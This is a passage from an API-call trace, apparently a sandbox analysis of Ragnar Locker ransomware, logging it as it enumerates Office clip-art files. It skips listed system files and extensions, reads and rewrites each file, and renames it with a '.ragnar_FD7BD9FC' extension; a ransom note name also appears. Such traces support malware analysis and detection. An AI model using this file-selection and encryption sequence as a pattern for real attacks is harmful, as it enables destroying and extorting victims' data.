lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="autorun.inf") returned 1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="boot.ini") returned 1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="bootfont.bin") returned 1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="bootsect.bak") returned 1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="bootmgr") returned 1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="bootmgr.efi") returned 1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="desktop.ini") returned -1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="iconcache.db") returned -1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="ntldr") returned -1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="ntuser.dat") returned -1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="ntuser.ini") returned -1 [0081.962] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="thumbs.db") returned -1 [0081.962] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.962] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.962] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.962] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.962] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.962] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.962] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0081.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.963] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19068) returned 1 [0081.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4a73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.963] GetProcessHeap () returned 0x580000 [0081.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.963] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.964] VirtualAlloc (lpAddress=0x0, dwSize=0x4a7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.965] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4a7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4a7c, lpOverlapped=0x0) returned 1 [0081.966] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.966] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.966] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4a7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4a7c, lpOverlapped=0x0) returned 1 [0081.966] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.966] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.966] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4a7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.967] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.967] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.967] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.967] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.967] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.967] GetProcessHeap () returned 0x580000 [0081.967] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.967] CloseHandle (hObject=0xf4) returned 1 [0081.967] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" [0081.967] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.ragnar_FD7BD9FC" [0081.967] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.968] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0081.968] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.968] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01629_.WMF" | out: lpString1="DD01629_.WMF") returned="DD01629_.WMF" [0081.968] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned=".WMF" [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="autorun.inf") returned 1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="boot.ini") returned 1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="bootfont.bin") returned 1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="bootsect.bak") returned 1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="bootmgr") returned 1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="bootmgr.efi") returned 1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="desktop.ini") returned -1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="iconcache.db") returned -1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="ntldr") returned -1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="ntuser.dat") returned -1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="ntuser.ini") returned -1 [0081.968] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="thumbs.db") returned -1 [0081.968] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.968] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.968] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.968] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.968] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.968] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.968] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0081.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.969] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=580) returned 1 [0081.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.969] GetProcessHeap () returned 0x580000 [0081.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.969] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.970] VirtualAlloc (lpAddress=0x0, dwSize=0x244, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.970] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x244, lpOverlapped=0x0) returned 1 [0081.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.970] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x244, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.970] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x244, lpOverlapped=0x0) returned 1 [0081.970] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x244, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.970] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.970] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.971] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.971] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.971] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.971] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.971] GetProcessHeap () returned 0x580000 [0081.971] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.971] CloseHandle (hObject=0xf4) returned 1 [0081.971] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" [0081.971] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.ragnar_FD7BD9FC" [0081.971] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.972] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0081.972] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.972] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01630_.WMF" | out: lpString1="DD01630_.WMF") returned="DD01630_.WMF" [0081.972] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned=".WMF" [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="autorun.inf") returned 1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="boot.ini") returned 1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="bootfont.bin") returned 1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="bootsect.bak") returned 1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="bootmgr") returned 1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="bootmgr.efi") returned 1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="desktop.ini") returned -1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="iconcache.db") returned -1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="ntldr") returned -1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="ntuser.dat") returned -1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="ntuser.ini") returned -1 [0081.972] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="thumbs.db") returned -1 [0081.972] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.972] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.972] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.972] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.972] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.972] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.972] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0081.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.973] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=296) returned 1 [0081.973] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.973] GetProcessHeap () returned 0x580000 [0081.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.973] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.974] VirtualAlloc (lpAddress=0x0, dwSize=0x128, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.974] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x128, lpOverlapped=0x0) returned 1 [0081.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.974] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.974] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x128, lpOverlapped=0x0) returned 1 [0081.974] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x128, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.974] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.974] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.975] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.975] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.975] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.975] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.975] GetProcessHeap () returned 0x580000 [0081.975] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.975] CloseHandle (hObject=0xf4) returned 1 [0081.975] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" [0081.975] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.ragnar_FD7BD9FC" [0081.975] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.976] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0081.976] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.976] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01631_.WMF" | out: lpString1="DD01631_.WMF") returned="DD01631_.WMF" [0081.976] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned=".WMF" [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="autorun.inf") returned 1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="boot.ini") returned 1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="bootfont.bin") returned 1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="bootsect.bak") returned 1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="bootmgr") returned 1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="bootmgr.efi") returned 1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="desktop.ini") returned -1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="iconcache.db") returned -1 [0081.976] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="ntldr") returned -1 